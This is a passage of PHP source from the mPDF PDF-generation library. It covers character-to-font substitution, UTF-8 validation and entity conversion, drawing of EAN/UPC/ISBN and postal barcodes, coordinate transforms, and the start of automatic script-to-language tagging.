} $font = $bsf; unset($cw); $cw = ''; if (isset($this->fonts[$font])) { $cw = &$this->fonts[$font]['cw']; } elseif ($this->fontCache->has($font . '.cw.dat')) { $cw = $this->fontCache->load($font . '.cw.dat'); } else { $prevFontFamily = $this->FontFamily; $prevFontStyle = $this->currentfontstyle; $prevFontSizePt = $this->FontSizePt; $this->SetFont($bsf, '', '', false); $this->SetFont($prevFontFamily, $prevFontStyle, $prevFontSizePt, false); } if (!$cw) { continue; } $l = 0; foreach ($u as $char) { if ($char == 173 || $this->_charDefined($cw, $char) || ($char > 1536 && $char < 1791) || ($char > 2304 && $char < 3455 )) { $l++; } else { if ($l == 0 && $bsfctr == (count($this->backupSubsFont) - 1)) { // Not found even in last backup font $cont = mb_substr($writehtml_e, $start + 1); $writehtml_e = mb_substr($writehtml_e, 0, $start + 1, 'UTF-8'); array_splice($writehtml_a, $writehtml_i + 1, 0, ['', $cont]); $this->subPos = $writehtml_i + 1; return 2; } else { break; } } } if ($l > 0) { $patt = mb_substr($writehtml_e, $start, $l, 'UTF-8'); if (preg_match("/(.*?)(" . preg_quote($patt, '/') . ")(.*)/u", $writehtml_e, $m)) { $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, ['span style="font-family: ' . $font . '"', $m[2], '/span', $m[3]]); $this->subPos = $writehtml_i + 3; return 4; } } } unset($cw); return 0; } function SubstituteCharsMB(&$writehtml_a, &$writehtml_i, &$writehtml_e) { // Ignore if in Textarea if ($writehtml_i > 0 && strtolower(substr($writehtml_a[$writehtml_i - 1], 0, 8)) == 'textarea') { return 0; } $cw = &$this->CurrentFont['cw']; $unicode = $this->UTF8StringToArray($writehtml_e, false); $start = -1; $end = 0; $flag = 0; $ftype = ''; $u = []; foreach ($unicode as $c => $char) { if (($flag == 0 || $flag == 2) && (!$this->_charDefined($cw, $char) || ($flag == 2 && $char == 32)) && $this->checkSIP && $char > 131071) { // Unicode Plane 2 (SIP) if (in_array($this->FontFamily, $this->available_CJK_fonts)) { return 0; } if ($flag == 0) { $start = $c; } $flag = 2; $u[] = $char; // elseif (($flag == 0 || $flag==1) && $char != 173 && !$this->_charDefined($cw,$char) && ($char<1423 || ($char>3583 && $char < 11263))) { } elseif (($flag == 0 || $flag == 1) && $char != 173 && (!$this->_charDefined($cw, $char) || ($flag == 1 && $char == 32)) && ($char < 1536 || ($char > 1791 && $char < 2304) || $char > 3455)) { if ($flag == 0) { $start = $c; } $flag = 1; $u[] = $char; } elseif ($flag > 0) { $end = $c - 1; break; } } if ($flag > 0 && !$end) { $end = count($unicode) - 1; } if ($start == -1) { return 0; } if ($flag == 2) { // SIP // Check if current CJK font has a ext-B related font if (isset($this->CurrentFont['sipext']) && $this->CurrentFont['sipext']) { $font = $this->CurrentFont['sipext']; unset($cw); $cw = ''; if (isset($this->fonts[$font])) { $cw = &$this->fonts[$font]['cw']; } elseif ($this->fontCache->has($font . '.cw.dat')) { $cw = $this->fontCache->load($font . '.cw.dat'); } else { $prevFontFamily = $this->FontFamily; $prevFontStyle = $this->currentfontstyle; $prevFontSizePt = $this->FontSizePt; $this->SetFont($font, '', '', false); $this->SetFont($prevFontFamily, $prevFontStyle, $prevFontSizePt, false); } if (!$cw) { return 0; } $l = 0; foreach ($u as $char) { if ($this->_charDefined($cw, $char) || $char > 131071) { $l++; } else { break; } } if ($l > 0) { $patt = mb_substr($writehtml_e, $start, $l); if (preg_match("/(.*?)(" . preg_quote($patt, '/') . ")(.*)/u", $writehtml_e, $m)) { $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, ['span style="font-family: ' . $font . '"', $m[2], '/span', $m[3]]); $this->subPos = $writehtml_i + 3; return 4; } } } // Check Backup SIP font (defined in Config\FontVariables) if (isset($this->backupSIPFont) && $this->backupSIPFont) { if ($this->currentfontfamily != $this->backupSIPFont) { $font = $this->backupSIPFont; } else { unset($cw); return 0; } unset($cw); $cw = ''; if (isset($this->fonts[$font])) { $cw = &$this->fonts[$font]['cw']; } elseif ($this->fontCache->has($font . '.cw.dat')) { $cw = $this->fontCache->load($font . '.cw.dat'); } else { $prevFontFamily = $this->FontFamily; $prevFontStyle = $this->currentfontstyle; $prevFontSizePt = $this->FontSizePt; $this->SetFont($this->backupSIPFont, '', '', false); $this->SetFont($prevFontFamily, $prevFontStyle, $prevFontSizePt, false); } if (!$cw) { return 0; } $l = 0; foreach ($u as $char) { if ($this->_charDefined($cw, $char) || $char > 131071) { $l++; } else { break; } } if ($l > 0) { $patt = mb_substr($writehtml_e, $start, $l); if (preg_match("/(.*?)(" . preg_quote($patt, '/') . ")(.*)/u", $writehtml_e, $m)) { $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, ['span style="font-family: ' . $font . '"', $m[2], '/span', $m[3]]); $this->subPos = $writehtml_i + 3; return 4; } } } return 0; } // FIRST TRY CORE FONTS (when appropriate) if (!$this->PDFA && !$this->PDFX && !$this->biDirectional) { // mPDF 6 $repl = []; if (!$this->subArrMB) { require __DIR__ . '/../data/subs_core.php'; $this->subArrMB['a'] = $aarr; $this->subArrMB['s'] = $sarr; $this->subArrMB['z'] = $zarr; } if (isset($this->subArrMB['a'][$u[0]])) { $font = 'tta'; $ftype = 'C'; foreach ($u as $char) { if (isset($this->subArrMB['a'][$char])) { $repl[] = $this->subArrMB['a'][$char]; } else { break; } } } elseif (isset($this->subArrMB['z'][$u[0]])) { $font = 'ttz'; $ftype = 'C'; foreach ($u as $char) { if (isset($this->subArrMB['z'][$char])) { $repl[] = $this->subArrMB['z'][$char]; } else { break; } } } elseif (isset($this->subArrMB['s'][$u[0]])) { $font = 'tts'; $ftype = 'C'; foreach ($u as $char) { if (isset($this->subArrMB['s'][$char])) { $repl[] = $this->subArrMB['s'][$char]; } else { break; } } } if ($ftype == 'C') { $patt = mb_substr($writehtml_e, $start, count($repl)); if (preg_match("/(.*?)(" . preg_quote($patt, '/') . ")(.*)/u", $writehtml_e, $m)) { $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, [$font, implode('|', $repl), '/' . $font, $m[3]]); // e.g. <tts> $this->subPos = $writehtml_i + 3; return 4; } return 0; } } // LASTLY TRY IN BACKUP SUBS FONT if (!is_array($this->backupSubsFont)) { $this->backupSubsFont = ["$this->backupSubsFont"]; } foreach ($this->backupSubsFont as $bsfctr => $bsf) { if ($this->currentfontfamily != $bsf) { $font = $bsf; } else { continue; } unset($cw); $cw = ''; if (isset($this->fonts[$font])) { $cw = &$this->fonts[$font]['cw']; } elseif ($this->fontCache->has($font . '.cw.dat')) { $cw = $this->fontCache->load($font . '.cw.dat'); } else { $prevFontFamily = $this->FontFamily; $prevFontStyle = $this->currentfontstyle; $prevFontSizePt = $this->FontSizePt; $this->SetFont($bsf, '', '', false); $this->SetFont($prevFontFamily, $prevFontStyle, $prevFontSizePt, false); if ($this->fontCache->has($font . '.cw.dat')) { $cw = $this->fontCache->load($font . '.cw.dat'); } } if (!$cw) { continue; } $l = 0; foreach ($u as $char) { if ($char == 173 || $this->_charDefined($cw, $char) || ($char > 1536 && $char < 1791) || ($char > 2304 && $char < 3455 )) { // Arabic and Indic $l++; } else { if ($l == 0 && $bsfctr == (count($this->backupSubsFont) - 1)) { // Not found even in last backup font $cont = mb_substr($writehtml_e, $start + 1); $writehtml_e = mb_substr($writehtml_e, 0, $start + 1); array_splice($writehtml_a, $writehtml_i + 1, 0, ['', $cont]); $this->subPos = $writehtml_i + 1; return 2; } else { break; } } } if ($l > 0) { $patt = mb_substr($writehtml_e, $start, $l); if (preg_match("/(.*?)(" . preg_quote($patt, '/') . ")(.*)/u", $writehtml_e, $m)) { $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, ['span style="font-family: ' . $font . '"', $m[2], '/span', $m[3]]); $this->subPos = $writehtml_i + 3; return 4; } } } unset($cw); return 0; } function setHiEntitySubstitutions() { $entarr = include __DIR__ . '/../data/entity_substitutions.php'; foreach ($entarr as $key => $val) { $this->entsearch[] = '&' . $key . ';'; $this->entsubstitute[] = UtfString::code2utf($val); } } function SubstituteHiEntities($html) { // converts html_entities > ASCII 127 to unicode // Leaves in particular < to distinguish from tag marker if (count($this->entsearch)) { $html = str_replace($this->entsearch, $this->entsubstitute, $html); } return $html; } /** * Edited v1.2 Pass by reference; option to continue if invalid UTF-8 chars */ function is_utf8(&$string) { if ($string === mb_convert_encoding(mb_convert_encoding($string, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) { return true; } if ($this->ignore_invalid_utf8) { $string = mb_convert_encoding(mb_convert_encoding($string, "UTF-32", "UTF-8"), "UTF-8", "UTF-32"); return true; } return false; } /** * For HTML * * Checks string is valid UTF-8 encoded * converts html_entities > ASCII 127 to UTF-8 * Only exception - leaves low ASCII entities e.g. < & etc. * Leaves in particular < to distinguish from tag marker */ function purify_utf8($html, $lo = true) { if (!$this->is_utf8($html)) { while (mb_convert_encoding(mb_convert_encoding($html, "UTF-32", "UTF-8"), "UTF-8", "UTF-32") != $html) { $a = @iconv('UTF-8', 'UTF-8', $html); $error = error_get_last(); if ($error && $error['message'] === 'iconv(): Detected an illegal character in input string') { throw new \Mpdf\MpdfException('Invalid input characters. Did you set $mpdf->in_charset properly?'); } $pos = $start = strlen($a); $err = ''; while (ord(substr($html, $pos, 1)) > 128) { $err .= '[[#' . ord(substr($html, $pos, 1)) . ']]'; $pos++; } $this->logger->error($err, ['context' => LogContext::UTF8]); $html = substr($html, $pos); } throw new \Mpdf\MpdfException("HTML contains invalid UTF-8 character(s). See log for further details"); } $html = preg_replace("/\r/", "", $html); // converts html_entities > ASCII 127 to UTF-8 // Leaves in particular < to distinguish from tag marker $html = $this->SubstituteHiEntities($html); // converts all &#nnn; or &#xHHH; to UTF-8 multibyte // If $lo==true then includes ASCII < 128 $html = UtfString::strcode2utf($html, $lo); return $html; } /** * For TEXT */ function purify_utf8_text($txt) { // Make sure UTF-8 string of characters if (!$this->is_utf8($txt)) { throw new \Mpdf\MpdfException("Text contains invalid UTF-8 character(s)"); } $txt = preg_replace("/\r/", "", $txt); return ($txt); } function all_entities_to_utf8($txt) { // converts txt_entities > ASCII 127 to UTF-8 // Leaves in particular < to distinguish from tag marker $txt = $this->SubstituteHiEntities($txt); // converts all &#nnn; or &#xHHH; to UTF-8 multibyte $txt = UtfString::strcode2utf($txt); $txt = $this->lesser_entity_decode($txt); return ($txt); } /* -- BARCODES -- */ /** * UPC/EAN barcode * * EAN13, EAN8, UPCA, UPCE, ISBN, ISSN * Accepts 12 or 13 digits with or without - hyphens */ function WriteBarcode($code, $showtext = 1, $x = '', $y = '', $size = 1, $border = 0, $paddingL = 1, $paddingR = 1, $paddingT = 2, $paddingB = 2, $height = 1, $bgcol = false, $col = false, $btype = 'ISBN', $supplement = '0', $supplement_code = '', $k = 1) { if (empty($code)) { return; } $codestr = $code; $code = preg_replace('/\-/', '', $code); $this->barcode = new Barcode(); if ($btype == 'ISSN' || $btype == 'ISBN') { $arrcode = $this->barcode->getBarcodeArray($code, 'EAN13'); } else { $arrcode = $this->barcode->getBarcodeArray($code, $btype); } if ($arrcode === false) { throw new \Mpdf\MpdfException('Error in barcode string: ' . $codestr); } if ((($btype === 'EAN13' || $btype === 'ISBN' || $btype === 'ISSN') && strlen($code) === 12) || ($btype == 'UPCA' && strlen($code) === 11) || ($btype == 'UPCE' && strlen($code) === 11) || ($btype == 'EAN8' && strlen($code) === 7)) { $code .= $arrcode['checkdigit']; if (stristr($codestr, '-')) { $codestr .= '-' . $arrcode['checkdigit']; } else { $codestr .= $arrcode['checkdigit']; } } if ($btype === 'ISBN') { $codestr = 'ISBN ' . $codestr; } if ($btype === 'ISSN') { $codestr = 'ISSN ' . $codestr; } if (empty($x)) { $x = $this->x; } if (empty($y)) { $y = $this->y; } // set foreground color $prevDrawColor = $this->DrawColor; $prevTextColor = $this->TextColor; $prevFillColor = $this->FillColor; $lw = $this->LineWidth; $this->SetLineWidth(0.01); $size /= $k; // in case resized in a table $xres = $arrcode['nom-X'] * $size; $llm = $arrcode['lightmL'] * $arrcode['nom-X'] * $size; // Left Light margin $rlm = $arrcode['lightmR'] * $arrcode['nom-X'] * $size; // Right Light margin $bcw = ($arrcode["maxw"] * $xres); // Barcode width = Should always be 31.35mm * $size $fbw = $bcw + $llm + $rlm; // Full barcode width incl. light margins $ow = $fbw + $paddingL + $paddingR; // Full overall width incl. user-defined padding $fbwi = $fbw - 2; // Full barcode width incl. light margins - 2mm - for isbn string // cf. http://www.gs1uk.org/downloads/bar_code/Bar coding getting it right.pdf $num_height = 3 * $size; // Height of numerals $fbh = $arrcode['nom-H'] * $size * $height; // Full barcode height incl. numerals $bch = $fbh - (1.5 * $size); // Barcode height of bars (3mm for numerals) if (($btype == 'EAN13' && $showtext) || $btype == 'ISSN' || $btype == 'ISBN') { // Add height for ISBN string + margin from top of bars $tisbnm = 1.5 * $size; // Top margin between isbn (if shown) & bars $codestr_fontsize = 2.1 * $size; $paddingT += $codestr_fontsize + $tisbnm; } $oh = $fbh + $paddingT + $paddingB; // Full overall height incl. user-defined padding // PRINT border background color $xpos = $x; $ypos = $y; if ($col) { $this->SetDColor($col); $this->SetTColor($col); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if ($bgcol) { $this->SetFColor($bgcol); } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } if (!$bgcol && !$col) { // fn. called directly - not via HTML if ($border) { $fillb = 'DF'; } else { $fillb = 'F'; } $this->Rect($xpos, $ypos, $ow, $oh, $fillb); } // PRINT BARS $xpos = $x + $paddingL + $llm; $ypos = $y + $paddingT; if ($col) { $this->SetFColor($col); } else { $this->SetFColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if ($arrcode !== false) { foreach ($arrcode["bcode"] as $v) { $bw = ($v["w"] * $xres); if ($v["t"]) { // draw a vertical bar $this->Rect($xpos, $ypos, $bw, $bch, 'F'); } $xpos += $bw; } } // print text $prevFontFamily = $this->FontFamily; $prevFontStyle = $this->FontStyle; $prevFontSizePt = $this->FontSizePt; // ISBN string if (($btype === 'EAN13' && $showtext) || $btype === 'ISBN' || $btype === 'ISSN') { if ($this->onlyCoreFonts) { $this->SetFont('chelvetica'); } else { $this->SetFont('sans'); } if ($bgcol) { $this->SetFColor($bgcol); } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } $this->x = $x + $paddingL + 1; // 1mm left margin (cf. $fbwi above) // max width is $fbwi $loop = 0; while ($loop == 0) { $this->SetFontSize($codestr_fontsize * 1.4 * Mpdf::SCALE, false); // don't write $sz = $this->GetStringWidth($codestr); if ($sz > $fbwi) { $codestr_fontsize -= 0.1; } else { $loop ++; } } $this->SetFont('', '', $codestr_fontsize * 1.4 * Mpdf::SCALE, true, true); // * 1.4 because font height is only 7/10 of given mm // WORD SPACING if ($fbwi > $sz) { $xtra = $fbwi - $sz; $charspacing = $xtra / (strlen($codestr) - 1); if ($charspacing) { $this->writer->write(sprintf('BT %.3F Tc ET', $charspacing * Mpdf::SCALE)); } } $this->y = $y + $paddingT - ($codestr_fontsize ) - $tisbnm; $this->Cell($fbw, $codestr_fontsize, $codestr); if ($charspacing) { $this->writer->write('BT 0 Tc ET'); } } // Bottom NUMERALS // mPDF 5.7.4 if ($this->onlyCoreFonts) { $this->SetFont('ccourier'); $fh = 1.3; } else { $this->SetFont('ocrb'); $fh = 1.06; } $charRO = ''; if ($btype === 'EAN13' || $btype === 'ISBN' || $btype === 'ISSN') { $outerfontsize = 3; // Inner fontsize = 3 $outerp = $xres * 4; $innerp = $xres * 2.5; $textw = ($bcw * 0.5) - $outerp - $innerp; $chars = 6; // number of numerals in each half $charLO = substr($code, 0, 1); // Left Outer $charLI = substr($code, 1, 6); // Left Inner $charRI = substr($code, 7, 6); // Right Inner if (!$supplement) { $charRO = '>'; // Right Outer } } elseif ($btype === 'UPCA') { $outerfontsize = 2.3; // Inner fontsize = 3 $outerp = $xres * 10; $innerp = $xres * 2.5; $textw = ($bcw * 0.5) - $outerp - $innerp; $chars = 5; $charLO = substr($code, 0, 1); // Left Outer $charLI = substr($code, 1, 5); // Left Inner $charRI = substr($code, 6, 5); // Right Inner $charRO = substr($code, 11, 1); // Right Outer } elseif ($btype === 'UPCE') { $outerfontsize = 2.3; // Inner fontsize = 3 $outerp = $xres * 4; $innerp = 0; $textw = ($bcw * 0.5) - $outerp - $innerp; $chars = 3; $upce_code = $arrcode['code']; $charLO = substr($code, 0, 1); // Left Outer $charLI = substr($upce_code, 0, 3); // Left Inner $charRI = substr($upce_code, 3, 3); // Right Inner $charRO = substr($code, 11, 1); // Right Outer } elseif ($btype === 'EAN8') { $outerfontsize = 3; // Inner fontsize = 3 $outerp = $xres * 4; $innerp = $xres * 2.5; $textw = ($bcw * 0.5) - $outerp - $innerp; $chars = 4; $charLO = '<'; // Left Outer $charLI = substr($code, 0, 4); // Left Inner $charRI = substr($code, 4, 4); // Right Inner if (!$supplement) { $charRO = '>'; // Right Outer } } $this->SetFontSize(($outerfontsize / 3) * 3 * $fh * $size * Mpdf::SCALE); // 3mm numerals (FontSize is larger to account for space above/below characters) if (!$this->usingCoreFont) { // character width at 3mm $cw = $this->_getCharWidth($this->CurrentFont['cw'], 32) * 3 * $fh * $size / 1000; } else { $cw = 600 * 3 * $fh * $size / 1000; } // Outer left character $y_text = $y + $paddingT + $bch - ($num_height / 2); $y_text_outer = $y + $paddingT + $bch - ($num_height * ($outerfontsize / 3) / 2); $this->x = $x + $paddingL - ($cw * ($outerfontsize / 3) * 0.1); // 0.1 is correction as char does not fill full width; $this->y = $y_text_outer; $this->Cell($cw, $num_height, $charLO); // WORD SPACING for inner chars $xtra = $textw - ($cw * $chars); $charspacing = $xtra / ($chars - 1); if ($charspacing) { $this->writer->write(sprintf('BT %.3F Tc ET', $charspacing * Mpdf::SCALE)); } if ($bgcol) { $this->SetFColor($bgcol); } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } $this->SetFontSize(3 * $fh * $size * Mpdf::SCALE); // 3mm numerals (FontSize is larger to account for space above/below characters) // Inner left half characters $this->x = $x + $paddingL + $llm + $outerp; $this->y = $y_text; $this->Cell($textw, $num_height, $charLI, 0, 0, '', 1); // Inner right half characters $this->x = $x + $paddingL + $llm + ($bcw * 0.5) + $innerp; $this->y = $y_text; $this->Cell($textw, $num_height, $charRI, 0, 0, '', 1); if ($charspacing) { $this->writer->write('BT 0 Tc ET'); } // Outer Right character $this->SetFontSize(($outerfontsize / 3) * 3 * $fh * $size * Mpdf::SCALE); // 3mm numerals (FontSize is larger to account for space above/below characters) $this->x = $x + $paddingL + $llm + $bcw + $rlm - ($cw * ($outerfontsize / 3) * 0.9); // 0.9 is correction as char does not fill full width $this->y = $y_text_outer; $this->Cell($cw * ($outerfontsize / 3), $num_height, $charRO, 0, 0, 'R'); if ($supplement) { // EAN-2 or -5 Supplement // PRINT BARS $supparrcode = $this->barcode->getBarcodeArray($supplement_code, 'EAN' . $supplement); if ($supparrcode === false) { throw new \Mpdf\MpdfException('Error in barcode string (supplement): ' . $codestr . ' ' . $supplement_code); } if (strlen($supplement_code) != $supplement) { throw new \Mpdf\MpdfException('Barcode supplement incorrect: ' . $supplement_code); } $llm = $fbw - (($arrcode['lightmR'] - $supparrcode['sepM']) * $arrcode['nom-X'] * $size); // Left Light margin $rlm = $arrcode['lightmR'] * $arrcode['nom-X'] * $size; // Right Light margin $bcw = ($supparrcode["maxw"] * $xres); // Barcode width = Should always be 31.35mm * $size $fbw = $bcw + $llm + $rlm; // Full barcode width incl. light margins $ow = $fbw + $paddingL + $paddingR; // Full overall width incl. user-defined padding $bch = $fbh - (1.5 * $size) - ($num_height + 0.5); // Barcode height of bars (3mm for numerals) $xpos = $x + $paddingL + $llm; $ypos = $y + $paddingT + $num_height + 0.5; if ($col) { $this->SetFColor($col); } else { $this->SetFColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if ($supparrcode !== false) { foreach ($supparrcode["bcode"] as $v) { $bw = ($v["w"] * $xres); if ($v["t"]) { // draw a vertical bar $this->Rect($xpos, $ypos, $bw, $bch, 'F'); } $xpos += $bw; } } // Characters if ($bgcol) { $this->SetFColor($bgcol); } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } $this->SetFontSize(3 * $fh * $size * Mpdf::SCALE); // 3mm numerals (FontSize is larger to account for space above/below characters) $this->x = $x + $paddingL + $llm; $this->y = $y + $paddingT; $this->Cell($bcw, $num_height, $supplement_code, 0, 0, 'C'); // Outer Right character (light margin) $this->SetFontSize(($outerfontsize / 3) * 3 * $fh * $size * Mpdf::SCALE); // 3mm numerals (FontSize is larger to account for space above/below characters) $this->x = $x + $paddingL + $llm + $bcw + $rlm - ($cw * 0.9); // 0.9 is correction as char does not fill full width $this->y = $y + $paddingT; $this->Cell($cw * ($outerfontsize / 3), $num_height, '>', 0, 0, 'R'); } // Restore ************** $this->SetFont($prevFontFamily, $prevFontStyle, $prevFontSizePt); $this->DrawColor = $prevDrawColor; $this->TextColor = $prevTextColor; $this->FillColor = $prevFillColor; $this->SetLineWidth($lw); $this->SetY($y); } /** * POSTAL and OTHER barcodes */ function WriteBarcode2($code, $x = '', $y = '', $size = 1, $height = 1, $bgcol = false, $col = false, $btype = 'IMB', $print_ratio = '', $k = 1) { if (empty($code)) { return; } $this->barcode = new Barcode(); $arrcode = $this->barcode->getBarcodeArray($code, $btype, $print_ratio); if (empty($x)) { $x = $this->x; } if (empty($y)) { $y = $this->y; } $prevDrawColor = $this->DrawColor; $prevTextColor = $this->TextColor; $prevFillColor = $this->FillColor; $lw = $this->LineWidth; $this->SetLineWidth(0.01); $size /= $k; // in case resized in a table $xres = $arrcode['nom-X'] * $size; if ($btype === 'IMB' || $btype === 'RM4SCC' || $btype === 'KIX' || $btype === 'POSTNET' || $btype === 'PLANET') { $llm = $arrcode['quietL'] / $k; // Left Quiet margin $rlm = $arrcode['quietR'] / $k; // Right Quiet margin $tlm = $blm = $arrcode['quietTB'] / $k; $height = 1; // Overrides } elseif (in_array($btype, ['C128A', 'C128B', 'C128C', 'C128RAW', 'EAN128A', 'EAN128B', 'EAN128C', 'C39', 'C39+', 'C39E', 'C39E+', 'S25', 'S25+', 'I25', 'I25+', 'I25B', 'I25B+', 'C93', 'MSI', 'MSI+', 'CODABAR', 'CODE11'])) { $llm = $arrcode['lightmL'] * $xres; // Left Quiet margin $rlm = $arrcode['lightmR'] * $xres; // Right Quiet margin $tlm = $blm = $arrcode['lightTB'] * $xres * $height; } $bcw = ($arrcode["maxw"] * $xres); $fbw = $bcw + $llm + $rlm; // Full barcode width incl. light margins $bch = ($arrcode["nom-H"] * $size * $height); $fbh = $bch + $tlm + $blm; // Full barcode height // PRINT border background color $xpos = $x; $ypos = $y; if ($col) { $this->SetDColor($col); $this->SetTColor($col); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if ($bgcol) { $this->SetFColor($bgcol); } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } // PRINT BARS if ($col) { $this->SetFColor($col); } else { $this->SetFColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } $xpos = $x + $llm; if ($arrcode !== false) { foreach ($arrcode["bcode"] as $v) { $bw = ($v["w"] * $xres); if ($v["t"]) { $ypos = $y + $tlm + ($bch * $v['p'] / $arrcode['maxh']); $this->Rect($xpos, $ypos, $bw, ($v['h'] * $bch / $arrcode['maxh']), 'F'); } $xpos += $bw; } } // PRINT BEARER BARS if ($btype == 'I25B' || $btype == 'I25B+') { $this->Rect($x, $y, $fbw, ($arrcode['lightTB'] * $xres * $height), 'F'); $this->Rect($x, $y + $tlm + $bch, $fbw, ($arrcode['lightTB'] * $xres * $height), 'F'); } // Restore ************** $this->DrawColor = $prevDrawColor; $this->TextColor = $prevTextColor; $this->FillColor = $prevFillColor; $this->SetLineWidth($lw); $this->SetY($y); } /* -- END BARCODES -- */ function StartTransform($returnstring = false) { if ($returnstring) { return('q'); } else { $this->writer->write('q'); } } function StopTransform($returnstring = false) { if ($returnstring) { return('Q'); } else { $this->writer->write('Q'); } } function transformScale($s_x, $s_y, $x = '', $y = '', $returnstring = false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } if (($s_x == 0) or ( $s_y == 0)) { throw new \Mpdf\MpdfException('Please do not use values equal to zero for scaling'); } $y = ($this->h - $y) * Mpdf::SCALE; $x *= Mpdf::SCALE; // calculate elements of transformation matrix $s_x /= 100; $s_y /= 100; $tm = []; $tm[0] = $s_x; $tm[1] = 0; $tm[2] = 0; $tm[3] = $s_y; $tm[4] = $x * (1 - $s_x); $tm[5] = $y * (1 - $s_y); // scale the coordinate system if ($returnstring) { return($this->_transform($tm, true)); } else { $this->_transform($tm); } } function transformTranslate($t_x, $t_y, $returnstring = false) { // calculate elements of transformation matrix $tm = []; $tm[0] = 1; $tm[1] = 0; $tm[2] = 0; $tm[3] = 1; $tm[4] = $t_x * Mpdf::SCALE; $tm[5] = -$t_y * Mpdf::SCALE; // translate the coordinate system if ($returnstring) { return($this->_transform($tm, true)); } else { $this->_transform($tm); } } function transformRotate($angle, $x = '', $y = '', $returnstring = false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } $angle = -$angle; $y = ($this->h - $y) * Mpdf::SCALE; $x *= Mpdf::SCALE; // calculate elements of transformation matrix $tm = []; $tm[0] = cos(deg2rad($angle)); $tm[1] = sin(deg2rad($angle)); $tm[2] = -$tm[1]; $tm[3] = $tm[0]; $tm[4] = $x + $tm[1] * $y - $tm[0] * $x; $tm[5] = $y - $tm[0] * $y - $tm[1] * $x; // rotate the coordinate system around ($x,$y) if ($returnstring) { return $this->_transform($tm, true); } else { $this->_transform($tm); } } /** * mPDF 5.7.3 TRANSFORMS */ function transformSkew($angle_x, $angle_y, $x = '', $y = '', $returnstring = false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } $angle_x = -$angle_x; $angle_y = -$angle_y; $x *= Mpdf::SCALE; $y = ($this->h - $y) * Mpdf::SCALE; // calculate elements of transformation matrix $tm = []; $tm[0] = 1; $tm[1] = tan(deg2rad($angle_y)); $tm[2] = tan(deg2rad($angle_x)); $tm[3] = 1; $tm[4] = -$tm[2] * $y; $tm[5] = -$tm[1] * $x; // skew the coordinate system if ($returnstring) { return $this->_transform($tm, true); } else { $this->_transform($tm); } } function _transform($tm, $returnstring = false) { if ($returnstring) { return(sprintf('%.4F %.4F %.4F %.4F %.4F %.4F cm', $tm[0], $tm[1], $tm[2], $tm[3], $tm[4], $tm[5])); } else { $this->writer->write(sprintf('%.4F %.4F %.4F %.4F %.4F %.4F cm', $tm[0], $tm[1], $tm[2], $tm[3], $tm[4], $tm[5])); } } // AUTOFONT ========================= function markScriptToLang($html) { if ($this->onlyCoreFonts) { return $html; } $n = ''; $a = preg_split('/<(.*?)>/ms', $html, -1, PREG_SPLIT_DELIM_CAPTURE); foreach ($a as $i => $e) { if ($i % 2 == 0) { // ignore if in Textarea if ($i > 0 && strtolower(substr($a[$i - 1], 1, 8)) == 'textarea') { $a[$i] = $e; continue; } $e = UtfString::strcode2utf($e); $e = $this->lesser_entity_decode($e); $earr = $this->UTF8StringToArray($e, false); $scriptblock = 0; $scriptblocks = []; $scriptblocks[0] = 0; $chardata = []; $subchunk = 0; $charctr = 0; foreach ($earr as $char) { $ucd_record = Ucdn::get_ucd_record($char); $sbl = $ucd_record[6]; if ($sbl && $sbl != 40 && $sbl != 102) { if ($scriptblock == 0) { $scriptblock = $sbl; $scriptblocks[$subchunk] = $scriptblock; } elseif ($scriptblock > 0 && $scriptblock != $sbl) { // NEW (non-common) Script encountered in this chunk. // Start a new subchunk $subchunk++; $scriptblock = $sbl; $charctr = 0; $scriptblocks[$subchunk] = $scriptblock; } } $chardata[$subchunk][$charctr]['script'] = $sbl; $chardata[$subchunk][$charctr]['uni'] = $char; $charctr++; } // If scriptblock[x] = common & non-baseScript // and scriptblock[x+1] = baseScript // Move common script from end of x to start of x+1 for ($sch = 0; $sch < $subchunk; $sch++) { if ($scriptblocks[$sch] > 0 && $scriptblocks[$sch] != $this->baseScript && $scriptblocks[$sch + 1] == $this->baseScript) { $end = count($chardata[$sch]) - 1; while ($chardata[$sch][$end]['script'] == 0 && $end > 1) { // common script $tmp = array_pop($chardata[$sch]); array_unshift($chardata[$sch + 1], $tmp); $end--; } } } $o = ''; for ($sch = 0; $sch <= $subchunk; $sch++) { if (isset($chardata[$sch])) { $s = ''; for ($j = 0; $j < count($chardata[$sch]); $j++) { $s .= UtfString::code2utf($chardata[$sch][$j]['uni']); } // ZZZ99 Undo lesser_entity_decode as above - but only for <>& $s = str_replace("&", "&", $s); $s = str_replace("<", "<", $s); $s = str_replace(">", ">", $s); // Check Vietnamese if Latin script - even if Basescript if ($scriptblocks[$sch] == Ucdn::SCRIPT_LATIN && $this->autoVietnamese && preg_match("/([" . $this->scriptToLanguage->getLanguageDelimiters('viet') . "])/u", $s)) { $o .= '<span lang="vi" class="lang_vi">' . $s . '</span>'; } elseif ($scriptblocks[$sch] == Ucdn::SCRIPT_ARABIC && $this->autoArabic) { // Check Arabic for different languages if Arabic script - even if Basescript if (preg_match("/[" . $this->scriptToLanguage->getLanguageDelimiters('sindhi') . "]/u", $s)) { $o .= '<span lang="sd" class="lang_sd">' . $s . '</span>'; } elseif (preg_match("/[" . $this->scriptToLanguage->getLanguageDelimiters('urdu') . "]/u", $s)) { $o 